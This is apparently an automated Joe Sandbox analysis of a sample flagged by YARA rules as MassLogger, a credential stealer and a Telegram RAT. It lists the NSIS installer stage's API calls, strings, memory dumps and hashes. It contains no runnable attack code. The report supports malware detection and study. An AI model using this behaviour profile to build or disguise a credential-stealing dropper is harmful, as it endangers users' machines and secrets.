Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000005.00000002.2943654108.000000003487B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2943654108.000000003487B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.2943654108.000000003487B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	19.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.9%
Total number of Nodes:	1599
Total number of Limit Nodes:	39

Executed Functions

Function 004034A5 Relevance: 80.9, APIs: 32, Strings: 14, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,00000020,00435000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040385C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00436800,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(C:\Users\user\Desktop\v4nrZtP7K2.exe,00420EE8,00000001,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

TEMP, xrefs: 0040372D
~nsu, xrefs: 00403845
NSIS Error, xrefs: 00403567
1033, xrefs: 00403749
Error launching installer, xrefs: 004037D0
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
\Temp, xrefs: 004036FF
.tmp, xrefs: 00403861
C:\Users\user\Desktop\v4nrZtP7K2.exe, xrefs: 004038F8
Low, xrefs: 0040371B
C:\Users\user\AppData\Local\Temp\, xrefs: 004036DD, 004036E2, 004036F8, 00403704, 00403713, 00403720, 0040372C, 00403734, 0040384A, 0040385B, 00403866, 00403872, 0040387F, 0040388E, 0040393F
SeShutdownPrivilege, xrefs: 0040396F
TMP, xrefs: 00403735

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\v4nrZtP7K2.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-2490128399
Opcode ID: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

, xrefs: 00405385
M, xrefs: 00404F76
N, xrefs: 00405057

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B08
\*.*, xrefs: 00405B65
0WB, xrefs: 00405B53

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3222569857
Opcode ID: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,?,?,76F92EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,76F92EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: (7B
API String ID: 3282139019-3251261122
Opcode ID: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\,76F93420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403BD9
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(Call), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

RichEd20, xrefs: 00403D06
RichEdit20W, xrefs: 00403D24, 00403D2A
(7B, xrefs: 00403B04
C:\Users\user\AppData\Local\Temp\, xrefs: 00403AE4
RichEd32, xrefs: 00403D14
.exe, xrefs: 00403BE6
Call, xrefs: 00403BA0, 00403BA9, 00403BB7, 00403C06, 00403C0C
1033, xrefs: 00403AF8, 00403B54
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
.DEFAULT\Control Panel\International, xrefs: 00403B44
_Nb, xrefs: 00403C5C, 00403CC4
RichEdit, xrefs: 00403D33

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1350935784
Opcode ID: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 00402F30 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\v4nrZtP7K2.exe,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\v4nrZtP7K2.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,C:\Users\user\Desktop\v4nrZtP7K2.exe,C:\Users\user\Desktop\v4nrZtP7K2.exe,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 004030F0

Strings

Null, xrefs: 00403029
C:\Users\user\Desktop\v4nrZtP7K2.exe, xrefs: 00402F4A, 00402F59, 00402F6D, 00402F8A
C:\Users\user\AppData\Local\Temp\, xrefs: 00402F3D, 00403108
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
soft, xrefs: 00403020
Inst, xrefs: 00403017
Error launching installer, xrefs: 00402F80
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\v4nrZtP7K2.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-358818865
Opcode ID: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,Call), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(Call,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3
Call, xrefs: 00406434, 0040650F, 00406516, 0040651A, 00406534, 00406535, 0040654A, 0040655D, 00406579, 004065A4, 004065D8, 004065DE, 004065FA, 0040660D, 0040662A, 00406630, 0040663C, 0040666F

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

